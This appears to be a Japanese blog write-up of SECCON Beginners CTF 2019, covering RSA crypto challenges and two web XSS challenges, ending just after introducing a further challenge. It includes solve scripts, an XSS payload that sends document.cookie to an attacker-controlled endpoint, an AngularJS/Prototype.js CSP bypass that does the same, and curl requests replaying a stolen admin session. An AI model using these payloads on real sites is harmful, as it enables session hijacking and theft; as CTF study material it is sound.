The D was 1286199394723403175751442489591131178016615008758280457564390720873887440554755751775113871250095613343193282235267516214512910259500639485593905325741316615867446993491794273003570610488401409961032883486761536116109537479082481060104694120575036536863900693986492450332029793825991626520457396867461741478642724825860135490650800307949377731302835139011991576167714076273373780785949317965305718980580007409521389911483796513507621215834509304044891764149723515394546544762864334807254519163981078261252366813741717539868654534918997810611505089938209939999962630271260354410978268059260634151859953925813788339313
$ nc 133.242.17.175 1337
Encrypted flag is: 15747847081102512577109742723999143648720078353829171272914392166628707919561869349482730170822908329064937617639028738127778314435858175422076340871129745804616697121183821608760559268577549665213243883581282492752792385782156015369040304804942185733372562417889841560372225739950977205892996543822589396010811540427914722941338843166403451087537701481262900868363176594321484200918851563500365068078058316111073634178952083904549197459789823637261134488536950724796123126026515646089761514214290295048356810397764554577292624315819137594652013993303989442194889852100009009647231311385474603742971678395797983595260
> 2
834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336
> 2
834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336
> 2
834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336
The D was 783287662953421896822862713600395667991106305787806108558680505591530212731687573913653285500600751077250434477673605414913851550315982987952811144266797316490390223541368430502905157951886546000168953155282179519527731714834040527669327910723463315419376643719872949033550773409733901177484687388309935922248447862520286102115194478764273931229117968114605517339250149607822994519099927186843924399998446822343658774938241947831643260535148891310529619210517645720569176289091900001062954443920818615357242610813195984147890619767707360647612044982953871898768383598276447280170831336187916836966635271071291258113

ここで、この値が何を返しているかがぱっとわかればよいのですが、これは未だにどうやったらわかるのかはわかっていない。
0を入れたら0, 1を入れたら 1を返すことから、値をそのまま返すか、0のx乗, 1のx乗 が返ってきている可能性がある。。。と、私にはここまでの推測しかできませんでしたが、どうやら入力を i とすると、

 x_i = pow(e, i, n)

の値が返ってきていたようです。これより、

 i^{e} = k_in + x_i

なので i=2, i=3 において

 2^{e} = k_2n + x_2
 3^{e} = k_3n + x_3

 2^{e} - x_2 = k_2n
 3^{e} - x_3 = k_3n

となり、 2^{e} - x_2 3^{e} - x_3n という同じ約数を持っていることになります。
これを利用すると n が求まります。
今回、eは与えられていませんが、一般的なやつ e = 65537 を使うと良いようです。

下記の接続時の値を利用してスクリプトを組んでみます。

$ nc 133.242.17.175 1337
Encrypted flag is: 9424674551266957561463893026905669950862445099427535949928602057081866664290063078064591086959173423409278834481477370563910476960280635339831147281892209288842909486783456887561227251493036205938550117969263272727816574988057848513445086242051612861790831616639051722944406336653601390854550930276952436155274568268946145331813092491760381506610458028441401325099710093699373649970913700743242170972837606063830736257312714622699302250476125113051414965864130736715005146198382908125029751902639843095642403717301868967060278341363027517190104744962170552879507597366821720516622161920694581295486276584100623546384
> 2
11561311277492287025795953466767443757789322529334684953600567889641727426917611157496972881304197313922350534625097310525374336513070821695825019996285096536179598836956763574813243329193590411429350508646348633103503045182088962911095873053521633408053272059387975018036401000497228621220988883406750346304822194629059545536628469740090089168108453672884634260210850061059087665044203430217538806995270038728289486378096813679028656620828627510613524856566710255207083601399363366813391639247678333365508950459002237795996982834794087657595694827732398849953897110824425147727403584774578041731315911945923438328135
> 3
11765239933044047397680103804002258545520768080480121960813224782667174557016958974864136396650274641604493145521354754813421094412889317694416180776118267162048630622838088930467448780434735790801477843415477483185052488710128256024997047564677999078347739660591055396336140322371207787475313726884708251762060309841932016037141300518800440618878333899210959116689907220826757438506288139154835034559224141743950323734103946015219127424328913681024946222249027070618942615232732058472441859056170626299181827371231732121619081845984818556166395204872682491969395509545232001906684485785275181103906872094976660351354
> -1
12323198856405502003937432267901192908501834583225242965340761294081320726499274831695725311899412561416130025473059544732197653746099145144367121608290596520460209068431917422469376602339673665012664883468889922275130303554745555368192382570681850375039393354120016616122767548169040965651511413055663964510798452855605113914959939511065955846297912422414682694381644032223460484275719150177285517726459180701567663762303114711812628761599055659186421437129654072841910963322580481457426553781071001066682814401461645695315857567540905852235810131586116947678236156558712655785389801653405817085523446618396954847478
The D was 11933027844198025057202455507355318436293138628875907793558682778354040861575857597526193138894983291462691970590220864973903710911926758154200318469037915015662080777283463439961419929775247114287101009120080141712686258513378128916127149285145972328619710713629926522306225096386830000796133745751843180428921089271663407719708555487986214838708863719212230132817431101737591235701846539721153646454248779519763954426970272471629771073769759663293139272946612653459366426903478785718246219565980230699023485783039286246478168122464325887793044417330189017569579655465512608943460172828160474804817454968782060311873
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import math
from Crypto.Util.number import long_to_bytes 

c = 9424674551266957561463893026905669950862445099427535949928602057081866664290063078064591086959173423409278834481477370563910476960280635339831147281892209288842909486783456887561227251493036205938550117969263272727816574988057848513445086242051612861790831616639051722944406336653601390854550930276952436155274568268946145331813092491760381506610458028441401325099710093699373649970913700743242170972837606063830736257312714622699302250476125113051414965864130736715005146198382908125029751902639843095642403717301868967060278341363027517190104744962170552879507597366821720516622161920694581295486276584100623546384
# input = 2
x2 = 11561311277492287025795953466767443757789322529334684953600567889641727426917611157496972881304197313922350534625097310525374336513070821695825019996285096536179598836956763574813243329193590411429350508646348633103503045182088962911095873053521633408053272059387975018036401000497228621220988883406750346304822194629059545536628469740090089168108453672884634260210850061059087665044203430217538806995270038728289486378096813679028656620828627510613524856566710255207083601399363366813391639247678333365508950459002237795996982834794087657595694827732398849953897110824425147727403584774578041731315911945923438328135
# input = 3
x3 = 11765239933044047397680103804002258545520768080480121960813224782667174557016958974864136396650274641604493145521354754813421094412889317694416180776118267162048630622838088930467448780434735790801477843415477483185052488710128256024997047564677999078347739660591055396336140322371207787475313726884708251762060309841932016037141300518800440618878333899210959116689907220826757438506288139154835034559224141743950323734103946015219127424328913681024946222249027070618942615232732058472441859056170626299181827371231732121619081845984818556166395204872682491969395509545232001906684485785275181103906872094976660351354
# input = -1
xm1 = 12323198856405502003937432267901192908501834583225242965340761294081320726499274831695725311899412561416130025473059544732197653746099145144367121608290596520460209068431917422469376602339673665012664883468889922275130303554745555368192382570681850375039393354120016616122767548169040965651511413055663964510798452855605113914959939511065955846297912422414682694381644032223460484275719150177285517726459180701567663762303114711812628761599055659186421437129654072841910963322580481457426553781071001066682814401461645695315857567540905852235810131586116947678236156558712655785389801653405817085523446618396954847478
d = 11933027844198025057202455507355318436293138628875907793558682778354040861575857597526193138894983291462691970590220864973903710911926758154200318469037915015662080777283463439961419929775247114287101009120080141712686258513378128916127149285145972328619710713629926522306225096386830000796133745751843180428921089271663407719708555487986214838708863719212230132817431101737591235701846539721153646454248779519763954426970272471629771073769759663293139272946612653459366426903478785718246219565980230699023485783039286246478168122464325887793044417330189017569579655465512608943460172828160474804817454968782060311873

e = 65537

n = math.gcd(2**e-x2, 3**e-x3)
m = pow(c, d, n)
print(long_to_bytes(m))

実行結果

$ python solve.py 
b'ctf4b{f1nd_7he_p4ramet3rs}'

更に、作問者さんのつぶやきより。

 (-1)^{e} = k_{m1}n + x_{m1}

 -1 - x_{m1} = -n

ということで、上記のスクリプト (こっそり -1 を代入したときの値 xm1 を入れていました) に下記を追加で検証してみます。

n = xm1+1
m = pow(c, d, n)
print(long_to_bytes(m))

実行結果

$ python solve.py
b'ctf4b{f1nd_7he_p4ramet3rs}'
b'ctf4b{f1nd_7he_p4ramet3rs}'

うん、同じ結果。

ちなみに、この問題のwrite-upを集めてみたけど、確かに最初から想定解で解いた人は見つからなかった。

そもそも 0, 1を入れてみる、とかそういう発想にたどり着かなかったし、そこで何の値が返ってきているのかをどうやって推測すればよかったのか…。経験値不足かな?

[Crypto] Bit Flip

平文を1ビットランダムで反転させる能力を手に入れた!

File: bitflip.py Server: nc 133.242.17.175 31337

与えられたホストにアクセスしてみます。

$ nc 133.242.17.175 31337
72427734756730630704798295316123151571926077048180170702577195841088025057870863433619014294136215627472314272055011949558482522062891513121279942556027859324718564269356714494550965436864259473399720180453529082517712370563752577974925942288028870180148291363418023041891865256142784602387289598150465089639
$ nc 133.242.17.175 31337
61979521788671885687999751903226733201621842618332115507069111542298405489779319129640214296432783313607199071215992580839477736319311465304378004064139523915075630873951994813391530501841841269985752550756358339504689537286384143212018332102220722500877511614428808808675188581447908025632146639964286085824

アクセスするたびに違う値が返ってきます。
もらえるコードは下記。

from Crypto.Util.number import bytes_to_long
import random

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
FLAG = bytes_to_long(open('flag', 'rb').read())

r = 1 << random.randrange(0, FLAG.bit_length() // 4)
C = pow(FLAG ^ r, e, N)

print(C)

平文のランダムな箇所をbit反転させたものを暗号化した暗号文が、降ってきてるっぽいです。

単純に N,e,c が与えられているときの m を求める問題にはならないか?ということでBeginnersだし4問目だけどワンチャンあるかも、ってことでNを素因数分解に挑戦してみます。

両者試してみましたが、どちらも素因数分解できませんでした。残念。

次に、eがめっちゃ小さいので

RSA暗号運用でやってはいけない n のこと #ssmjp の p13, "𝒆 の値が小さすぎてはいけない" "Low Public Exponent Attack が適用可能" で行けるかと思ってやってみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

e = 3
c = 72427734756730630704798295316123151571926077048180170702577195841088025057870863433619014294136215627472314272055011949558482522062891513121279942556027859324718564269356714494550965436864259473399720180453529082517712370563752577974925942288028870180148291363418023041891865256142784602387289598150465089639

m, result = gmpy2.iroot(c,e)
if result:
    flag = bytes.fromhex(hex(m)[2:]).decode('ascii')
    print(flag)

結果できず。まぁ一番難しい問題っぽいし、タイトルの bit flip 全然使ってないのでそれはそうかなと。
これ以上は追わず、競技終了。

他の方のwrite-upを見てみると、下記の記事にある手法が使えるそうです。

SageMathを使ってCoppersmith's Attackをやってみる - ももいろテクノロジーCoppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack

二つの暗号文について平文の上位bitがnのbit数の (1-1/e2) 程度共通する場合、これらからそれぞれの平文を求めることができる。

ふむふむ。今回の条件に当てはまりそう。

ところでほとんどのwrite-upがsageを使って解いているんですけど、入れたほうが良いのかしら。上記リンク先で紹介しているのがsageを使った解法だからだとは思うんですけど。

SageMathはPythonベースの数式処理システムである。 Numpy、ScipyをはじめとしてR、Maxima、Pari/GPなどさまざまなライブラリが統合されており、巨大ではあるが統一的に各種演算を行うことができる。 また、Pythonがベースとなっているため、通常のPythonのように各種ライブラリを利用することも可能である。

ももいろテクノロジーさんの先程の記事にこういった紹介があり、いままでのCTFのCrypto問題でも使っている人が多かった印象だったので、下記を参考にHostのMacにSageを入れてチュートリアルとかやってみました。

割とこういったツール、Linuxだとすんなり入るけどMacは入らないこと多いんだけど、今回はすんなり入った٩(๑❛ᴗ❛๑)۶  まだ Sage のメインは python2 のようです。下記のような記述を見かけましたが、基本python2で動かしたほうが良さそう。

話がそれました。上で紹介したももいろテクノロジーさんの記事を熟読しつつ、Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack を試してみます。幸いこの記事中にsageのサンプルコードが載っているので、ほとんど変えずに使えます。

実際は下記のスクリプト名は solve.sage として作成、python2環境下で動かしました。
また、c のセット(2つの暗号文セット)については、上位967bitが合致していればよいのですが、そういったペアが取得できるとは限らないので(実際手作業では良いペアを取得するのにかなり時間がかかりそうだった)、c の取得は簡易的ですが何度も貰いに行く作戦で乗り切りました。

# this code is almost from bellow.
#   http://inaz2.hatenablog.com/entry/2016/01/20/022936
# coppersmiths_short_pad_attack.sage

from telnetlib import Telnet

host = '133.242.17.175'
port = 31337

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

def get_c_pair():
    c = []
    for i in range(2):
        telnet = Telnet(host, str(port))
        c.append(int(telnet.read_until('\n')))
    return (c[0], c[1])

if __name__ == '__main__':
    n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
    e = 3

    nbits = n.nbits()
    kbits = nbits//(2*e*e)
    print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

    # ^^ = bit-wise XOR
    # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage
    m1 = randrange(2^nbits)
    m2 = m1 ^^ randrange(2^kbits)

    counter = 0
    while True:
        print counter
        c1, c2 = get_c_pair()
        print c1
        print c2

        try:
            diff = short_pad_attack(c1, c2, e, n)
            print "difference of two messages is %d" % diff
            m = related_message_attack(c1, c2, diff, e, n)
            print m
            break
        except:
            counter += 1
    flag = ('%x' % m).decode('hex')
    print flag

実行結果

$ ~/tools/SageMath/sage solve.sage 
upper 967 bits (of 1023 bits) is same
0
7550203435991990311321301643481422074445943627084660287374374601699811871000575073876877727312984271374159133927162599821378644122510264861784356014056199165715602713686650968312711028590580626509443509790053588143164865156993468718479705016994738919227989161810291164070178592865881031893866405933098686418
22847704804485272897240201332364615448076265560473081494130345961236707114724029595074930665254174643883050394417095822457682230300066684688366644862329503747236653245028193028050352131020229282412626915605242797100427600649337929655211677780729739319416990174820944195984397134699611486337684117580918892985
(中略)
・・・
(中略)
19
28208615320083399490203482798096815841524474800478304951505115797987632296337528998669478645175959282886772763377370089360071101717210815746443055242990619908675709865581221835955254566260564547294680891287315493832509807011424263544553739182777654785122612528276621612030187089330597535546869383302172314796
61323348396351307598252731709495997380210252731843689167938548647921429839595295965422931044426848709025106657470598462799392228280369373877311928671340564331254098701448003793573417475222110240678141540199342470651821266710150131876660946814902890611711184371598947506650316041533302641136132011145406568647
difference of two messages is 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914830891356846386099
16260765149986038884145173876068642724013617302097779293079362876653494069932815072038851668676222848467504538570853507159925860036819304291732134150397319327193122637750054910716746167965635612837962028769149915298230040116567157454495798898178036434538204980608594381468821524975316356795784321290
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUM]Y

ということで、20回目の暗号文ペア取得時に、いい感じの条件にはまったようで復号できました。
今回は初めてsageを入れて使ってみましたが、環境構築事態は比較的すんなりいってよかったです。機能がたくさんあるので、使いこなすには修業が必要…!

[Web] Himitsu

抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp

ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip

ソースコードのzipを展開すると、かなりの量のコードが。
どこから手を付けていいやらわからないので、とりあえずサイトの挙動を確認してみます。

topページ。ログイン、もしくは登録ができます。適当に ユーザー名: test, パスワード: test でログインすると、すでに誰かが作ったアカウントでログインできたっぽく、そして同じユーザー名、パスワードでログインして試みた人がそれらなりの人数いたようで、色んな試行錯誤の痕跡が残ってました( ͡° ͜ʖ ͡°)

f:id:kusuwada:20190530235658p:plain

適当なユーザー名・パスワードだと怒られます

f:id:kusuwada:20190530235701p:plain

登録画面でよくあるユーザー名やadminとか入れても重複してると怒られます

f:id:kusuwada:20190530235734p:plain

登録・ログインが無事に済むと、メモアプリっぽくなっています。自分の書いた記事一覧が見れたり

f:id:kusuwada:20190530235801p:plain

記事を投稿すると、普通のメモアプリとは違って、「秘密を共有する」機能が出現します。

f:id:kusuwada:20190530235750p:plain

機能が結構あるので、やはりサイトから攻めるにしてもどこから手を付けてよいのやら…?
ログイン機能でadminで入れると良いことあったりする?
それとも自分の書いた記事が見れるから、記事の投稿部分にXSS脆弱性があったりする?
それともそれとも、タイトルがHimitsuだし、秘密の共有機能を見るべき…?

そう言えば、記事の投稿ページを良く見てみると、「書き方」というのが載っています。
普通のXSSが刺さらなくても、こっちが刺さるかもしれません。ということで試してみると怪しい挙動が。

[#6911da9dc2af409efc4d1e3f6849e312#]
[*太字*]
[-取り消し線-]
[=イタリック=]
#タイトル

って感じの記事を投稿しようと思ったんですけど、埋め込み先の記事のタイトルはXSSが無いか確認するために <s>test</s> としていたのでした。

f:id:kusuwada:20190530235849p:plain

他、タイトルに<img>タグを埋め込んだ記事を埋め込み指定しても同様のエラーが。どうやら埋め込み記事のタイトルに < があるとエラーになるようです。
この辺をどうにか回避して、秘密の共有機能で運営に記事を共有すると、運営がアクセスしてくれてセッション取れたりする系かなー?と思いつつ、競技終了。

Web問題って「よっしゃこれだ!」というのを探すのが難しくていつも解けてない気がします…。今回も一通り気になるところをちょいちょい試してみて、他の問題に移っちゃいました。

他の方のwrite-upを見てみると、シナリオと [#記事ID#] の記法部分を使うのは合ってそう。そこからちゃんとソースを追って、validation部分を確認していらっしゃる。闇雲に色々打ってみるだけでは駄目だなぁ。

ソースを読んでみると、以下のことがわかる。

  • schema.sql より、flagが運営?のadminユーザの記事の本文に書いてありそう
    • すなわち、adminとしてログインできればflagが取れそう
  • backend > classes > ArticleController.php より
    • addArticle内では [# ... #] で指定された記事のタイトルにスクリプトがないかチェックしている
    • getArticle内では上記チェックをしていない

事くらいがざっと見てわかります。
特にbackend > classes > ArticleController.phpaddArticle内のコメント

// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)

が怪しい。投稿時点(here)では埋め込み記事をリンクには書き換えず、取得時(getArticle)にリンクへの置き換えを行っている。
更に、タイトルの書き換えが可能と言っているけど、そんな機能はないような…?

ここで、記事作成時のIDの作成箇所を探してみます。上記backend > classes > ArticleController.php > addArticleを読んでいけばその先に書いてありますが、backend > classes > ArticleMapper.php > createArticle 関数で記事IDを作成しています。

$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);

ロジックがわかるので、任意のユーザーが任意の時間に作る任意のタイトルの記事IDを生成できます。
また、記事の投稿時点では埋め込み記事はreplaceを行わずvalidationだけを行うため、空の記事のIDを貼っておくことが出来ます。

ということで、

  1. 未来の時刻を指定して記事IDを作成
  2. 上記の記事IDを本文に [# ... #] 記法で埋めた記事を投稿
  3. 1で指定した時刻に、1で使用したタイトルと同じタイトルの記事を投稿 (ただし、記事のタイトルがcookie横流しする攻撃になっている)

ちなみに、date関数の仕様は以下。

https://www.php.net/manual/ja/function.date.php

分単位なので、余裕を持って準備できそう。
phpのソースそのままつかって記事IDを作成しても良かったのですが、php使い慣れていないのでpythonで。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import hashlib
import datetime

username = 'kusuwada'
article_title = """<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>"""
created_at = '2019/05/30 23:38' # 1分くらい先の時間
article_key = hashlib.md5((username + created_at + article_title).encode('utf-8')).hexdigest()
print(article_title)
print(created_at)
print(article_key)

実行結果

$ python solve.py 
<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>
2019/05/30 23:38
44db640d41016d6e6f9c79355a2c9a30

ということで、まず

タイトル:てきとう
概要:てきとう
本文:[#44db640d41016d6e6f9c79355a2c9a30#]

の記事を作成。この時点で 44db640d41016d6e6f9c79355a2c9a30 の記事はないのでvalidationチェックに引っかかりません。

で、2019/05/30 23:38 きっかりに

タイトル:<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>
概要:てきとう
本文:てきとう

の記事を作成。作成した記事のIDが上記で指定したものと同じになっていることを確認します。
あとは、最初に作った記事を管理者に共有すると管理者が踏んでくれるので、仕掛けたEndpointに管理者からのアクセス with cookie情報が届きます。

GET /my/api/pathPHPSESSID=955cab32e275d150d404083fed2c6e6e%3E

これで、管理者の session が 955cab32e275d150d404083fed2c6e6e と判明しました。
あとは自分の記事一覧ページのGETに管理者のsession cookieをつけて投げてみます。

curl https://himitsu.quals.beginners.seccon.jp/mypage -H "Cookie: PHPSESSID=955cab32e275d150d404083fed2c6e6e" > flag.html

flag.htmlを見てみます。

f:id:kusuwada:20190530235919p:plain

あやや!??詰めが甘いって言われてしまった。
このhtmlの中で、flag記事へのリンクが file:///articles/28a147ca4874466215662ac702c730cf となっているので、再度この記事のurlへアクセス。

curl https://himitsu.quals.beginners.seccon.jp/articles/28a147ca4874466215662ac702c730cf -H "Cookie: PHPSESSID=955cab32e275d150d404083fed2c6e6e" > flag.html

f:id:kusuwada:20190530235929p:plain

今度はちゃんと入ってました。めでたし!

ところで別解として、[#[#記事ID#]#] とすると、validationをバイパスできるというのがあった。

SECCON Beginners CTF 2019 Writeup - こんとろーるしーこんとろーるぶい

入れ子が有効になる事があるやつだ。確かにチェック部分を見てみると、本文中の全ての埋め込み記事をチェックしているものの入れ子のチェックにはなっていない。こっちに気づければ、こっちのほうが省エネでできそう!
ということで、こっちも解法でもやってみます。

下記タイトルの記事を作成。

<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>

もう一つの記事を作成。タイトルは適当で本文に

[#[#さっき作った記事のID#]#]

あとは運営に秘密を共有する手順を踏むと、自分で管理しているEndpointに運営からcookieがpathに入ったリクエストが届きます。

GET /my/api/pathPHPSESSID=bdb6740e2f646d32990e4d1cb29b3804%3E

同じように運営用のsession bdb6740e2f646d32990e4d1cb29b3804 が取得できました!これ以降は上記の方法と同じ方法でflagが取得できました。

[Web] Secure Meyasubako

みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp

参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js

またもやソースとセットのようです。競技中はまったく触れませんでした。
jsの方はこちら

const puppeteer = require('puppeteer');
const flag = process.env.FLAG;
const browser_option = {
    executablePath: 'google-chrome-stable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
};
const default_cookie = {
    "domain": current_host,
    "expirationDate": 1597288045,
    "hostOnly": false,
    "httpOnly": false,
    "name": "flag",
    "path": "/",
    "sameSite": "no_restriction",
    "secure": false,
    "session": false,
    "storeId": "0",
    "value": flag,
    "id": 1
}


/* ... */

const browser = await puppeteer.launch(browser_option);
const page = await browser.newPage();
await page.goto(current_host, {waitUntil: 'networkidle2'});
await page.setCookie(default_cookie);
await page.goto(url, {waitUntil: 'networkidle2'});
await page.waitFor(3000);
await browser.close();

サイトにアクセスしてみます。目安箱のようです。下書きが保存できるみたい。

f:id:kusuwada:20190531001714p:plain

新しい意見を作成してみます。

f:id:kusuwada:20190531001707p:plain

下書き一覧に加わりました。

f:id:kusuwada:20190531001701p:plain

下書きの詳細を確認します。

f:id:kusuwada:20190531001658p:plain

Himitsuと同じく、私はロボットではありません試験をクリアすると、下書きが管理者に届けられるとのことです。

f:id:kusuwada:20190531001711p:plain

さて、なんとなくHimitsuと結構似ているような…。
またXSSを利用して管理者にリンクを送りつけて踏んでもらう系かしら。
簡単なXSSチェックをしてみると、記事一覧ページではエスケープされて表示されていたのに、詳細ページでは…

f:id:kusuwada:20190531004746p:plain

あ。
<s>test</s> の本文だったはずですが、スクリプト実行されています。

ここでもらったjsを見てみると、cookiedefault_cookievalue に flag が設定されているようです。
先程のHimitsuとますます同じ匂いがしてきました。しかも標準XSSが刺さりそうです…!

ということで、下記のOWASP XSSチートシートにも載っている alert スクリプト <IMG SRC="javascript:alert('XSS');"> を入れて、詳細ページを見てみます、

XSS フィルター回避チートシート - OWASP

が、alert表示されません。
もっとシンプルに <script>alert('XSS')</script> で埋めてみても、何も出てきません。んんん?
ResponseHeaderを見てみます。

f:id:kusuwada:20190531134454p:plain

おお、Content-Security-Policy (CSP) が設定されていますね。CSPについては下記などを参照。

ちょっと前にSASTツールをWebアプリケーションにかけた時に、セキュリティ対策候補として提案されたこともありました。

JavaScriptコードの安全を保つSAST(静的解析)ツール ~ npm-audit, NodeJsScan, LGTM~ - 好奇心の足跡

このヘッダをサーバから返すことにより、参照して良いリソースを指定でき、意図していないJavaScriptの実行やリソースの読み込みをブラウザ側で制限することができる、というもの。
今回は

Content-Security-Policy: script-src 'self' www.google.com www.gstatic.com stackpath.bootstrapcdn.com code.jquery.com cdnjs.cloudflare.com

が設定されていました。
他にも、セキュリティ関連のHeaderだと

X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 0

が設定されています。

ここで他の方のwrite-upを見ると、CSP bypass とかで検索するといくつか手法が出てくるらしい。
一番手段として確実そう&手がかりとして良さそうだったのが、下記のサイトでCSPの安全性を調べるというもの。

CSP Evaluator

今回のURLを指定してチェックしてもらいます。

f:id:kusuwada:20190531140608p:plain

いくつか警告が出てくるので、これをもとに攻撃手法を調べるのが良さそうです。今回はJSONPやAngularを使う方法が指摘されています。

調べていると、とっっっっっっても勉強になりそうな関連記事があったので貼っておきます。

Content Security Policy Level 3におけるXSS対策 - pixiv inside

ドメインホワイトリスト方式の問題

この章に、今回使える攻撃の解説が載っています。また、JSONP・Angular両方を使ったbypass方法についても触れられています。
JSONPバイパスで使えるエンドポイントの例は下記

csp-evaluator/jsonp.js at master · google/csp-evaluator · GitHub

Angularバイパスで使えるエンドポイントは下記

csp-evaluator/angular.js at master · google/csp-evaluator · GitHub

CSP Evaluator指摘されたエンドポイントも載っています。

さて、今回他の方のwrite-upでは、このあたりの攻撃手法を調べていて下記の記事に行き着いた人が多かったみたいです。
csp bypass cookie cdnjs とかでググると割と上位に出てきました。

H5SC Minichallenge 3: "Sh*t, it's CSP!" · cure53/XSSChallengeWiki Wiki · GitHub]

ここの 191 Bytes 版の方法を使ったチームが多かったみたいです。
ちなみに、この記事の 191 Bytes番の解説がこちら(ほぼGoogle翻訳)
以下引用 (ソースコードに改行を見やすさのために追加)

"ng-app ng-csp>
<base href=//ajax.googleapis.com/ajax/libs/>
<script src=angularjs/1.0.1/angular.js></script>
<script src=prototype/1.7.2.0/prototype.js></script>
{{$on.curry.call().alert(1337

Prototype.jsとAngularJSを組み合わせることによる効果を悪用する、この通信(解法)は非常に面白いです。AngularJSは、integrated Sandbox を使用して window へのアクセスを禁止しています。それでも、curry property拡張を持つPrototype.JScall() で呼び出されたときにAngularJSに気付かれずに window object を返します。つまり、Prototype.JSを使って window を操作し、そのobjectのほぼ全てのメソッドを実行することができます。

ホワイトリストに掲載されたGoogle-CDNは、古いAngularJSバージョンとPrototype.JSの両方を提供します - 私たちが好きなように window を操作するために必要なものにアクセスできるようにします。ユーザーの操作が不要です。

ということで、Prototype.jsとAngularJSを組み合わせて、cookieをパラメータに突っ込みつつ任意のURLにアクセスさせるスクリプトは下記のようになります。

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().location.href="{自分で管理しているEndpoint}"+$on.curry.call().document.cookie}}
</div>

これを本文に持つ記事を作成し、詳細画面を表示せずに「管理者に届け出る」をやります。
すると、上記で設定した {自分で管理しているEndpoint} に下記のアクセスが来ます。

GET /my/api/pathflag=ctf4b%7BMEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW%7D

pathflag を url decode したら

ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

flagになりました!
競技時間中にここまで辿り着くには、まず前提としてCSP/CSP回避に関する知識があって、適切な攻撃手法を調べる能力も必要なんだなぁ…。Web問むずい…!!
そして今回も大変お勉強になりました。どうもありがとうございましたっ!

[Web] katsudon-okawari

クーポンの管理画面なんだよな...

https://katsudon-okawari.quals.beginners.seccon.jp/

https://katsudon-okawari.quals.beginners.seccon.jp/flag

katsudonに不具合があったため、追加された okawari 問題。

結局解けたのが8チームと一番少なかったですが、先のMeyasubakoとどっちがラスボスの予定だったんでしょう?
